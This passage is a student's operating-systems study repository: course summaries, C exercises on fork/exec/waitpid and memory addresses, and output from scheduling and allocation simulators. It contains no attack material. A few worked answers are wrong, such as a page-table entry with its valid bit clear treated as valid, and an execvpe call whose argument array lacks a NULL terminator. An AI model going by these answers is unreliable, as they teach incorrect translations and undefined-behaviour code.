The system designer must balance the length of `time slice`, make it long enough to amortize the context switching cost, and won't make the response time too slow in the meanwhile.
Now we've got two metrics: turnaround time and response time. If we chase only one of them, SJF and STCF are pretty good for turnaround time, RR is great for response time. But now we still have two assumptions which are not relaxed.
## Combine with I/O
Now let's relax the assumption 4: all jobs may need I/O and when they are using I/O, they won't use CPU.
There are 2 jobs: A(50ms) arrives at 0 and needs IO, B(50ms) arrives at 10ms and neednt' IO.
Now what's the best plan?
The timing graph will be like blow:
```
CPU: |A(10ms)|B(10ms)|A(10ms)|B(10ms)|A(10ms)|....
IO: |-------|A(10ms)|-------|A(10ms)|-------|....
```
This method is called `overlap` the CPU doesn't wait, it will always be running. This is a great idea for multiple jobs.
## Unpredictable
What happens if we relax the assumption 5? All the algorithms above won't work any more. But we can think about how to optimize the algorithms so that they can work with assumption 5, or even combine some algorithms together?
## Summary
We introduced the basic thinking of sheduling, and developed two kinds of algorithms: friendly to turnaround time and friendly to response time. But it's still hard to get the two metrics done together.
Now we still don't know how to solve the unseen problems in the future.
```
address.c
```#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int MAX = 100;
void hello()
{
int *x = malloc(sizeof(int) * 3);
int *y = malloc(sizeof(int));
printf("location of function hello: %p\n", (void *)hello);
printf("location of x in hello: %p\n", x);
printf("location of y in hello: %p\n", y);
}
char *copy(char *str)
{
char *cstr = malloc(strlen(str) + 1);
strcpy(cstr, str);
return cstr;
}
int main()
{
hello();
printf("location of MAX : %p\n", (void *)&MAX);
printf("location of code : %p\n", (void *)main);
printf("location of heap : %p\n", (void *)malloc(2));
int x = 3;
double y = 4.0;
void *z1 = malloc(sizeof(int));
void *z2 = malloc(sizeof(int));
printf("location of stack: %p | %p | %p | %p\n", &x, &y, z1, z2);
printf("z1 - z2 = %ld\n", z1 - z2);
char *text = "hello";
char *ntext = copy(text);
printf("copied string address: %p\n", ntext);
free(ntext);
return 0;
}
```
summary.md
```# Paging: Faster Translations(TLBs)
## Background
The traditional page talbes are very slow, so `TLB` is created to increase the page tables visiting speed. Actually it's a kind of cache. It's also a hardware inside the CPU, it stores some page tables' data.
**Remember the key of computer's world is another level of abstraction**
## How does the CPU acess data from memory?

## TLB's contents
A TLB's entry is like:
```
VPN | PFN | other bits
```
So we can find the PFN through VPN and get the physical address directly.

## Context Switch
When the CPU tries to run another process, what will happen to TLB? If the TLB is not updated to the new process, it will cause error, here is an example:
If the first record belongs to P1, and second record belongs to P2, when CPU is running P2, and CPU is trying to find VPN=10 in TLB. It finds the first record, but actually the second record is correct, so it will cause some errors.

There're some approaches for this problem:
### Approach 1
Flush the TLB on context switches. Just emptying the TLB before running the next process. But this approach is quite slow, if CPU is switching processes frequently, this cost is high.
### Approach 2
TLB won't be flushed in this way. Some hardware systems provide an **address space identifier(ASID)** field in the TLB. The following picture shows how this approach works.

With this approach the processes can also share TLBs:

As shown in the picture, the two processes' PFNs are the same, it means the physical addresses are the same, this is a memory sharing.
## A Real TLB Entry
This picture shows a real TLB entry's data structure.

```
13.exercise-04-execvpe.c
```/**
*
* The execle() and execvpe() functions allow the caller to specify
* the environment of the executed program via the argument envp.
* The envp argument is an array of pointers to null-terminated strings and
* must be terminated by a NULL pointer.
* The other functions take the environment for the new process image
* from the external variable environ in the calling process.
*
* int execvpe(const char *file, char *const argv[],char *const envp[]);
* file: 指向可执行文件的路径或者命令
* argv: 其他参数的数组
* envp: 环境变量的字符指针数组
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *file = "ls";
char *args[] = {"-a"};
char *evnp[] = {"AA=aa", "BB=bb", NULL};
execvpe(file, args, evnp);
return 0;
}```
question.md
```## Q1. `python3 malloc.py -S 100 -b 1000 -H 4 -a 4 -l ADDRSORT -p BEST -n 5`
```
ptr[0] = Alloc(3) returned ?
List?
------1000
header
------1004
allocated
------1008
Free(ptr[0]) returned ?
List?
ptr[1] = Alloc(5) returned ?
List?
Free(ptr[1]) returned ?
List?
ptr[2] = Alloc(8) returned ?
List?
```
Result:
```
seed 0
size 100
baseAddr 1000
headerSize 4
alignment 4
policy BEST
listOrder ADDRSORT
coalesce False
numOps 5
range 10
percentAlloc 50
allocList
compute True
ptr[0] = Alloc(3)
returned 1004 (searched 1 elements)
Free List [ Size 1 ]:
[ addr:1008 sz:92 ]
Free(ptr[0])
returned 0
Free List [ Size 2 ]:
[ addr:1000 sz:8 ]
[ addr:1008 sz:92 ]
ptr[1] = Alloc(5)
returned 1012 (searched 2 elements)
1012 + 8
Free List [ Size 2 ]:
[ addr:1000 sz:8 ]
[ addr:1020 sz:80 ]
Free(ptr[1])
returned 0
Free List [ Size 3 ]:
[ addr:1000 sz:8 ]
[ addr:1008 sz:12 ]
[ addr:1020 sz:80 ]
ptr[2] = Alloc(8)
returned 1012 (searched 3 elements)
Free List [ Size 2 ]:
[ addr:1000 sz:8 ]
[ addr:1020 sz:80 ]
``````
04.process-exec-without-fork.c
```#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
int main(int argc, char *argv[])
{
printf("hello,I am main process(pid:%d)\n", (int)getpid());
char *myargs[3];
myargs[0] = argv[1];
myargs[1] = argv[2];
myargs[2] = NULL;
execvp(myargs[0], myargs);
printf("This shouldn't print out\n");
return 0;
}```
summary.md
```# Lottery Sheduling
## Basic concepts: tickets = proportion
`ticket` stands for a process' proportion of some resources.
For an example, if there're two processes A and B, we hope A uses 75% of CPU's time, and B uses 25% of CPU's time, we can treat this situation in the lottery way: there're 100 tickets in total, A has 75 tickets, B has 25 tickets. Then the sheduler decides which process to run through lottery drawing.
## Lottery mechanism
The lottery sheduling support some different ways to shudule the tickets:
1. Ticket currency. Assume user A and B have 100 tickets in total. User A has two jobs A1 and A2, he can allot his own currency to each job, like he has 1000 A-tickets and allot 500 to each job. User B has only one job, he has 10 B-tickets and allot 10 to the one job. It means each process can decide how to arrange their own jobs.
2. Ticket transfer. A process can transfer its tickets to another process. This mechanism is often very useful in Client-Server case, when a client sends messages to the server, it always hope the server can response as quickly as possible, so the client can transfer its tickets to the server to speed up the server's execution.
3. Ticket inflation. Sometimes a process can increase or decrease its tickets. But in the competing environment, procesess don't trust each other, a greedy process may increase its tickets to a large number to take over the machine. On the other hand in a trusted enviroment, this mechanism is useful.
## Implementation
The lottery sheduling's implementation is very simple, it needs only 3 things: a nice random number maker, a list that records all processes' data structure, total number of tickets.
```
head -> Job A(Tix:100) -> Job B(Tix:50) -> Job C(Tix:250) -> NULL
```
If the winner number is 300, the program starts to loop each job and add their tickets, when current number >= 300, the winner job is found.
## How to allot ticets?
A system's execution depends on tickets' allocation. So how to allocate the tickets to each job? If an user knows how to allocate the tickets to its own jobs, the system can give some tickets to it, but what if it doesn't know?
Until now, there's not a perfect solution.
## Why using random : another implementation
The random way's flawness is if a job's running time is short, the unfairness metric can be large.
So if each job has a `stride`, this number is inverse proportion to the number of tickets. If A/B/C's tickets are 100/50/250, we use a big number like 10000 divide them, got their strides are 100/200/40. When a process is executed, its stride will be increased, and the `pass` will be increased too. After that, the sheduler decides which process to run according to the stride and pass.
This implementation's advantage is fair and accurate, can assure all processes' progresses are very near. But if a new job comes into the system, how to set its pass? If set it to 0, this job will monopolize the CPU.
So the lottery sheduling can treat all jobs in a relative fair way.
But in reality, both implementations are not used.```
09.exercise-04-execvp.c
```/**
* @Question 编写一个调用fork()的程序,然后调用某种形式的exec()来运行程序 /bin/ls。
* exec()的所有变体,包括execl()、execle()、execlp()、
* execv()、execvp()和execvpe()。
* 为什么同样的基本调用会有这么多变种?
*
* @Answer
* exec族下的所有函数都会直接新建一个process替代掉当前process,
* 所以只会执行新process里的代码。
*
* 所有变体可以分为4种:
* 带v的:参数通过字符串指针数组来传递
* 带l的:参数是list形式,可以分割开来
* 带p的:执行的指令如果是简写,会先从PATH变量中寻找相应的执行文件。
* 带e的:可以自定义环境变量,传递给要执行的二进制文件。
*
* int execvp (const char *file, char *const argv[]);
* file: 指向要执行的文件
* argv: 一个字符串指针数组,必须以NULL结尾
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
printf("hello,I am main process."); // 这一行不会被执行
char *args[] = {"ls", NULL};
execvp(args[0], args);
return 0;
}```
summary.md
```# Multi-level Paging
## Background
Assume a 32-bit address space(2^32 bytes), with 4kb(2^12 byte) pages and a 4-byte page-table entry. This address space can have roughly 2^20 virtual pages in address space. So each page table's size is 2^20 * 4-byte = 4MB. Each process has a 4MB page table.
## Simple Solution: Bigger Pages
Assume a 32-bit address space again, but this time assume 16kb pages. Then we would have a 18-bit VPN and a 14-bit offset. Now each page table's size is 2^18 * 4-byte = 1MB. It's a quarter of the example above.
But this method's shortness is the bigger the page is, the bigger the internal fragmentation is.
## Multi-level Paging
To understand this method quickly, we can think about the dictionary: if we want to find some word, at first we will find the catalogue with the word's first letter as an index.
So the multi-level paging is just like that: the first step is find the page's index which is called `Page Directory`, the second step is find the page through the `Page Directory`.
The difference is shown in the picture below:

## More Details of Multi-level paging
Assume there is a small address space of 16kb, with 64-byte pages. Thus we have a 14-bit virtual address space: 8 bits for VPN and 6 bits for offset. So a linear page table would have 2^8 = 256 PTEs. If each PTE is 4-byte, the page table is 1kb (256 * 4-byte) in size.
Now let's divide this table into 16 * 64-byte pages, each page can hold 16 PTEs. This is our first level directory.
The key point here is **how to take a VPN and use it to index first into the page directory and then into the page of the page table**.
To index 16 page directories we need 4 bits of the VPN. Each page directory contains 16 page tables' entries, thus we need another 4 bits of the VPN to index into page table. And our table is 256-byte, so the virtual address' structure is shown in the picture below:

The transition algorithm is:
```
PDEAddr = PageDirBase + (PDIndex
* sizeof(PDE))
PTEAddr = (PDE.PFN << SHIFT) + (PTIndex * sizeof(PTE))
PhysicalAddr = (PTE.PFN << SHIFT) + Offset
```
## Multi-level Page Table Control Flow

As we can see above, more levels the directories are, more acesses to the memory happen.
So the multi-level page table is more complex obviously, but we need this kind of solution to save the memory.
```
array.c
```int main()
{
int array[1000];
for (int i = 0; i < 1000; i++){
array[i] = 0;
}
return 0;
}```
question.md
```### 1. To start things off, let’s learn how to use the simulator to study how to build an effective multi-processor scheduler. The first simulation will run just one job, which has a run-time of 30, and a working-set size of 200. Run this job (called job ’a’ here) on one simulated CPU as follows: `./multi.py -n 1 -L a:30:200`. How long will it take to complete? Turn on the `-c` flag to see a final answer, and the `-t` flag to see a tick-by-tick trace of the job and how it is scheduled.
```
ARG seed 0
ARG job_num 3
ARG max_run 100
ARG max_wset 200
ARG job_list a:30:200
ARG affinity
ARG per_cpu_queues False
ARG num_cpus 1
ARG quantum 10
ARG peek_interval 30
ARG warmup_time 10
ARG cache_size 100
ARG random_order False
ARG trace False
ARG trace_time False
ARG trace_cache False
ARG trace_sched False
ARG compute True
Job name:a run_time:30 working_set_size:200
Scheduler central queue: ['a']
Finished time 30
Per-CPU stats
CPU 0 utilization 100.00 [ warm 0.00 ]
```
### 2. Now increase the cache size so as to make the job’s working set (size=200) fit into the cache (which, by default,is size=100); for example, run `./multi.py -n 1 -L a:30:200 -M 300`. Can you predict how fast the job will run once it fits in cache? (hint:remember the key parameter of the warm rate, which is set by the `-r` flag) Check your answer by running with the solve flag (`-c`) enabled.
```
ARG seed 0
ARG job_num 3
ARG max_run 100
ARG max_wset 200
ARG job_list a:30:200
ARG affinity
ARG per_cpu_queues False
ARG num_cpus 1
ARG quantum 10
ARG peek_interval 30
ARG warmup_time 10
ARG cache_size 300
ARG random_order False
ARG trace False
ARG trace_time False
ARG trace_cache False
ARG trace_sched False
ARG compute True
Job name:a run_time:30 working_set_size:200
Scheduler central queue: ['a']
Finished time 20
Per-CPU stats
CPU 0 utilization 100.00 [ warm 50.00 ]
```
### 3. One cool thing about `multi.py` is that you can see more detail about what is going on with different tracing flags. Run the same simulation as above, but this time with time left tracing enabled (-T). This flag shows both the job that was scheduled on a CPU at each time step, as well as how much run-time that job has left after each tick has run. What do you notice about how that second column decreases?
```
ARG seed 0
ARG job_num 3
ARG max_run 100
ARG max_wset 200
ARG job_list a:30:200
ARG affinity
ARG per_cpu_queues False
ARG num_cpus 1
ARG quantum 10
ARG peek_interval 30
ARG warmup_time 10
ARG cache_size 300
ARG random_order False
ARG trace False
ARG trace_time True
ARG trace_cache False
ARG trace_sched False
ARG compute True
Job name:a run_time:30 working_set_size:200
Scheduler central queue: ['a']
0 a [ 29]
1 a [ 28]
2 a [ 27]
3 a [ 26]
4 a [ 25]
5 a [ 24]
6 a [ 23]
7 a [ 22]
8 a [ 21]
9 a [ 20]
----------------
10 a [ 18]
11 a [ 16]
12 a [ 14]
13 a [ 12]
14 a [ 10]
15 a [ 8]
16 a [ 6]
17 a [ 4]
18 a [ 2]
19 a [ 0]
Finished time 20
Per-CPU stats
CPU 0 utilization 100.00 [ warm 50.00 ]
```
```
array.c
```#include <stdlib.h>
#include <stdio.h>
int main()
{
int *data = NULL;
data = (int *)malloc(100 * sizeof(int));
for (int i = 0; i < 100; i++)
{
data[i] = i;
}
printf("data:%p\n", data);
printf("data[50]: %d\n", data[50]);
free(data);
printf("after free:%p\n", data);
return 0;
}```
summary.md
```# Summary Of Memory Virtualization
## Abstraction Address(Virtual Address)
All the addresses that allocated by the OS are abstraction addresses.
There's a translating relation between the abstraction address and physical address.
## Virtualizing techs for memory
Most of the modern x86 CPUs have an MMU(memory management unit) and a TLB(Translation-lookaside buffer).
### Segmentation
OS splits the memory that the process need into three parts : Code, Stack, Heap. So that each process's memory doesn't need to continuous.
### Paging
OS splits the whole memory into many small pages, like many cells in a cupboard, when a process needs memory, the OS allocates some 'cells'(`pages`) to this process.
### TLB
TLB is the cache for pages, it's a hardware in the CPU. When the CPU tries to find an address, it will search this address in TLB.
If hit, the CPU gets the result immediately.
If not, a TLB miss processing flow will begin.
In this way, the speed of visiting addresses is much faster.
### Mechanisms of beyond physical memory
Swapping the pages from memory to disk can make the memory seems bigger.
The important thing is the differences between `mechanism` and `policy`.
### Policies
Some concrete algorithms for swapping the pages. They use the concepts and functions provided by `mechanism`.
```
10.exercise-04-execv.c
```/**
* int execv(const char *path, char *const argv[]);
* path: 指向要执行的命令的目录
* argv: 一个字符串指针数组,必须以NULL结尾
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *args[] = {"/bin/ls", NULL}; // 命令如果是 ls 用execvp可以执行,而这里必须用完整的路径
execv(args[0], args);
return 0;
}```
exercise.md
```## Question
```
ARG seed 0
ARG address space size 16k
ARG phys mem size 64k
ARG page size 4k
ARG verbose False
The format of the page table is simple:
The high-order (left-most) bit is the VALID bit.
If the bit is 1, the rest of the entry is the PFN.
If the bit is 0, the page is not valid.
Use verbose mode (-v) if you want to print the VPN # by
each entry of the page table.
Page Table (from entry 0 down to the max size)
0x0000000c
0x00000000
0x00000000
0x00000006
Virtual Address Trace
VA 0: 0x00003229 (decimal: 12841) --> PA or invalid?
VA 1: 0x00001369 (decimal: 4969) --> PA or invalid?
VA 2: 0x00001e80 (decimal: 7808) --> PA or invalid?
VA 3: 0x00002556 (decimal: 9558) --> PA or invalid?
VA 4: 0x00003a1e (decimal: 14878) --> PA or invalid?
```
**Answer**
Page size = 4k, so each VA has 14 bits, 2 bits for VPN and 12 bits for offset.
The first VA is 0x3229 = 11 0010 0010 1001, so its VPN = 3, offset = 0x229
The VPN 3 is 0x6, so its first bit is 1. So it's a valid page. And combine the page number and the offset: PA = 0x6229.
VA1 = 4969 = 01 0011 0110 1001, so its VPN = 1, offset = 0x369, the second page's first bit is 0, so it's invalid.
VA 2 = 7808 = 01 1110 1000 0000, its VPN = 1, this page is invalid.
VA 3 = 9558 = 10 0101 0101 0110, its VPN = 2, this page is also invalid.
VA 4 = 14878 = 11 1010 0001 1110, its VPN = 3, this page is valid, and the offset = 0xa1e, so the PA = 0x6a1e
```
08.exercise-03.c
```/**
* @Question 使用fork()编写另一个程序。子进程打印“hello”,父进程打印“goodbye”。
* 应确保子进程始终先打印,并且不在父进程调用wait()来实现这一功能。
*
* @Answer
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
pid_t childpid;
int status;
childpid = fork();
if (childpid < 0)
{
fprintf(stderr, "fork failed\n");
}
else if (childpid == 0)
{
printf("This is child process, hello.\n");
exit(EXIT_SUCCESS);
}
else
{
waitpid(childpid, &status, 0);
printf("This is parent process, goodbye.\n");
printf("Child process status is %d \n", status);
}
return 0;
}```
summary.md
```# Beyond Physical Memory : Policies
## Differences between Mechanism and Policy
**Mechanism : a combination of functions that serves some targets.**
**Policy : A policy is a deliberate system of principles to guide decisions and achieve rational outcomes.**
## Cache Management
Goal: Minimize the number of cache misses.
Average memory access time (AMAT) = T(Memory) + (P(Miss) · T(Disk)
T(Memory) represents the cost of accessing memory, T(Disk) the cost of accessing disk, and P(Miss) the probability of not finding the data in the
cache (a miss); P(Miss) varies from 0.0 to 1.0.
## The Optimal Replacement Policy
Core Algorithm: replaces the page that will be accessed furthest in the future is the optimal policy, resulting in the fewest-possible cache misses.
But this is an unprocurable policy, cause we don't know the pages' accessing order.
Here is an example:

We can also calculate the hit rate for the cache: with 6 hits and 5 misses,the hit rate is (Hits / Hits+Misses) which is (6 / 6+5) or 54.5%. You can also compute the hit rate modulo compulsory misses (i.e., ignore the first miss to a given page), resulting in a 85.7% hit rate.
## Two Simple Policies
* FIFO : First in, first out.
* Random : as its name.
These policies are quite easy to understand. And also easy to implement, but their perfomances are not good, cause they are not smart policies.
## LRU & LFU
* LRU : Least Recently Used.
* LFU : Least Frequently Used.
Through the names, we know each policy's algorithm. They're all based on the *principle of locality*.
## Workload Examples
**Example 1**: no policy use the locality. And they perforce quite the same.

**Example 2**: 80% of the references are made to 20% of the pages (the “hot” pages); the remaining 20% of the references are made to the remaining 80% of the pages (the “cold” pages).

**Example 3**: We call this one the “looping sequential” workload, as in it, we refer to 50 pages in sequence, starting at 0, then 1, ..., up to page 49, and then we loop, repeating those accesses, for a total of 10,000 accesses to 50 unique pages.

## LRU with Clock
If we want to find the absolute least-recently-used page, its cost is too much. Assume a machine with 4GB of memory, chopped into 4KB pages, there will be 1M pages. Finding the LRU page will take a long time.
The solution is using one more bit of infomation, this bit is called **use bit**. When a page is referenced, the use bit is set to 1 by hardware. The hardware never clears this bit, the responsibility belongs to the OS.
How does the OS employ the use bit to approximate LRU?
**Clock algorithm** : Imagine all the pages of the system arranged in a circular list. A clock hand points to some particular page to begin with (it doesn’t really matter which). When a replacement must occur, the OS checks if the currently-pointed to page P has a use bit of 1 or 0. If 1, this implies that page P was recently used and thus is not a good candidate for replacement. Thus, the use bit for P set to 0 (cleared), and the clock hand is incremented to the next page (P + 1). The algorithm continues until it finds a use bit that is set to 0, implying this page has not been recently used (or, in the worst case, that all pages have been and that we have now searched through the entire set of pages, clearing all the bits).
```
16.exercise-06.c
```/**
* @Question 对上一个练习进行修改,这次使用waitpid()。
* 什么时候waitpid()有用?
*
* pid_t waitpid(pid_t pid, int *status, int options);
waitpid()会暂时停止目前进程的执行, 直到有信号来到或子进程结束. 如果在调用wait()时子进程
已经结束, 则wait()会立即返回子进程结束状态值. 子进程的结束状态值会由参数status 返回, 而
子进程的进程识别码也会一快返回. 如果不在意结束状态值, 则参数status 可以设成NULL. 参数pid
为欲等待的子进程识别码, 其他数值意义如下:
1、pid<-1 等待进程组识别码为pid绝对值的任何子进程.
2、pid=-1 等待任何子进程, 相当于wait().
3、pid=0 等待进程组识别码与目前进程相同的任何子进程.
4、pid>0 等待任何子进程识别码为pid 的子进程.
参数option 可以为0 或下面的OR 组合:
1、WNOHANG:如果没有任何已经结束的子进程则马上返回, 不予以等待;
2、WUNTRACED:如果子进程进入暂停执行情况则马上返回, 但结束状态不予以理会. 子进程的结束状态返回后存于status, 底下有几个宏可判别结束情况;
3、WIFEXITED(status):如果子进程正常结束则为非0 值;
4、WEXITSTATUS(status):取得子进程exit()返回的结束代码, 一般会先用WIFEXITED 来判断是否正常结束才能使用此宏;
5、WIFSIGNALED(status):如果子进程是因为信号而结束则此宏值为真;
6、WTERMSIG(status):取得子进程因信号而中止的信号代码, 一般会先用WIFSIGNALED 来判断后才使用此宏;
7、WIFSTOPPED(status):如果子进程处于暂停执行情况则此宏值为真. 一般只有使用WUNTRACED时才会有此情况;
8、WSTOPSIG(status):取得引发子进程暂停的信号代码, 一般会先用;
9、WIFSTOPPED 来判断后才使用此宏。
wait与waitpid区别
wait等待第一个终止的子进程,而waitpid可以通过pid参数指定等待哪一个子进程。
当pid=-1、option=0时,waitpid函数等同于wait,可以把wait看作waitpid实现的特例。
waitpid函数提供了wait函数没有提供的三个功能:
1、waitpid等待一个特定的进程,而wait则返回任一终止子进程的状态 。
2、waitpid提供了一个 wait的非阻塞版本,有时希望取得一个子进程的状态, 但不想进程阻塞。
3、waitpid支持作业控制。
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
int main(int argc, char *argv[])
{
pid_t cpid = fork();
if (cpid == 0)
{
printf("This is child process(pid:%d)\n", (int)getpid());
int i;
for (i = 3; i > 0; i--)
{
printf("This is the child\n");
sleep(1);
}
exit(3);
}
else if (cpid > 0)
{
// int *stat_val;
// waitpid(cpid, stat_val, 0); // 用stat_val读取值
// 上面这种写法是错误的,c语言中无法直接使用 int *p1 = 12
// 指针变量后边必须跟的是地址,char *p1 = "abc"是可以的,
// 因为双引号返回的是字符串地址。
int stat_val;
waitpid(cpid, &stat_val, 0); // 用 *stat_ptr读取值
if (WIFEXITED(stat_val) > 0) // 正常结束
{
printf("Child exited with code %d\n", WEXITSTATUS(stat_val));
}
else if (WIFSIGNALED(stat_val))
{
printf("Child terminated abnormally, signal %d\n", WTERMSIG(stat_val));
}
}
return 0;
}```
questions.md
```### 1. Get the solutions of 3 jobs when random seed is 1/2/3.
```
Random seed = 1
ARG jlist
ARG jobs 3
ARG maxlen 10
ARG maxticket 100
ARG quantum 1
ARG seed 1
Here is the job list, with the run time of each job:
Job 0 ( length = 1, tickets = 84 )
Job 1 ( length = 7, tickets = 25 )
Job 2 ( length = 4, tickets = 44 )
** Solutions **
Random 651593 -> Winning ticket 119 (of 153) -> Run 2
Jobs:
( job:0 timeleft:1 tix:84 )
( job:1 timeleft:7 tix:25 )
(* job:2 timeleft:4 tix:44 )
Random 788724 -> Winning ticket 9 (of 153) -> Run 0
Jobs:
(* job:0 timeleft:1 tix:84 )
( job:1 timeleft:7 tix:25 )
( job:2 timeleft:3 tix:44 )
--> JOB 0 DONE at time 2
Random 93859 -> Winning ticket 19 (of 69) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:7 tix:25 )
( job:2 timeleft:3 tix:44 )
Random 28347 -> Winning ticket 57 (of 69) -> Run 2
Jobs:
( job:0 timeleft:0 tix:--- )
( job:1 timeleft:6 tix:25 )
(* job:2 timeleft:3 tix:44 )
Random 835765 -> Winning ticket 37 (of 69) -> Run 2
Jobs:
( job:0 timeleft:0 tix:--- )
( job:1 timeleft:6 tix:25 )
(* job:2 timeleft:2 tix:44 )
Random 432767 -> Winning ticket 68 (of 69) -> Run 2
Jobs:
( job:0 timeleft:0 tix:--- )
( job:1 timeleft:6 tix:25 )
(* job:2 timeleft:1 tix:44 )
--> JOB 2 DONE at time 6
Random 762280 -> Winning ticket 5 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:6 tix:25 )
( job:2 timeleft:0 tix:--- )
Random 2106 -> Winning ticket 6 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:5 tix:25 )
( job:2 timeleft:0 tix:--- )
Random 445387 -> Winning ticket 12 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:4 tix:25 )
( job:2 timeleft:0 tix:--- )
Random 721540 -> Winning ticket 15 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:3 tix:25 )
( job:2 timeleft:0 tix:--- )
Random 228762 -> Winning ticket 12 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:2 tix:25 )
( job:2 timeleft:0 tix:--- )
Random 945271 -> Winning ticket 21 (of 25) -> Run 1
Jobs:
( job:0 timeleft:0 tix:--- )
(* job:1 timeleft:1 tix:25 )
( job:2 timeleft:0 tix:--- )
--> JOB 1 DONE at time 12
```
### 2. If there are two jobs, each length is 10, Job 0 has 1 ticket, and Job 1 has 100 tickets. Before Job 1 finished, Job 0 can run or not?
There is possibility, but it's quite small. When the tickets are not allocated fairly, some jobs may monopolize the CPU.
```
ARG jlist 10:1,10:100
ARG jobs 3
ARG maxlen 10
ARG maxticket 100
ARG quantum 1
ARG seed 0
Here is the job list, with the run time of each job:
Job 0 ( length = 10, tickets = 1 )
Job 1 ( length = 10, tickets = 100 )
** Solutions **
Random 844422 -> Winning ticket 62 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:10 tix:100 )
Random 757955 -> Winning ticket 51 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:9 tix:100 )
Random 420572 -> Winning ticket 8 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:8 tix:100 )
Random 258917 -> Winning ticket 54 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:7 tix:100 )
Random 511275 -> Winning ticket 13 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:6 tix:100 )
Random 404934 -> Winning ticket 25 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:5 tix:100 )
Random 783799 -> Winning ticket 39 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:4 tix:100 )
Random 303313 -> Winning ticket 10 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:3 tix:100 )
Random 476597 -> Winning ticket 79 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:2 tix:100 )
Random 583382 -> Winning ticket 6 (of 101) -> Run 1
Jobs:
( job:0 timeleft:10 tix:1 )
(* job:1 timeleft:1 tix:100 )
--> JOB 1 DONE at time 10
Random 908113 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:10 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 504687 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:9 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 281838 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:8 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 755804 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:7 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 618369 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:6 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 250506 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:5 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 909747 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:4 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 982786 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:3 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 810218 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:2 tix:1 )
( job:1 timeleft:0 tix:--- )
Random 902166 -> Winning ticket 0 (of 1) -> Run 0
Jobs:
(* job:0 timeleft:1 tix:1 )
( job:1 timeleft:0 tix:--- )
--> JOB 0 DONE at time 20
```
### 3. Two jobs: both lengths are 100 and have 100 tickets, how unfair the sheduler is?
Run command below:
`python3 lottery.py -s 2 -l 100:100,100:100 -c `
From the answer below, we can see once the two jobs' leftTime's gap is becoming larger, the more unfair the sheduler is.
```
Random 511501 -> Winning ticket 101 (of 200) -> Run 1
Jobs:
( job:0 timeleft:10 tix:100 )
(* job:1 timeleft:1 tix:100 )
--> JOB 1 DONE at time 190
Random 581076 -> Winning ticket 76 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:10 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 51234 -> Winning ticket 34 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:9 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 418016 -> Winning ticket 16 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:8 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 525065 -> Winning ticket 65 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:7 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 181225 -> Winning ticket 25 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:6 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 93786 -> Winning ticket 86 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:5 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 802656 -> Winning ticket 56 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:4 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 366184 -> Winning ticket 84 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:3 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 519210 -> Winning ticket 10 (of 100) -> Run 0
Jobs:
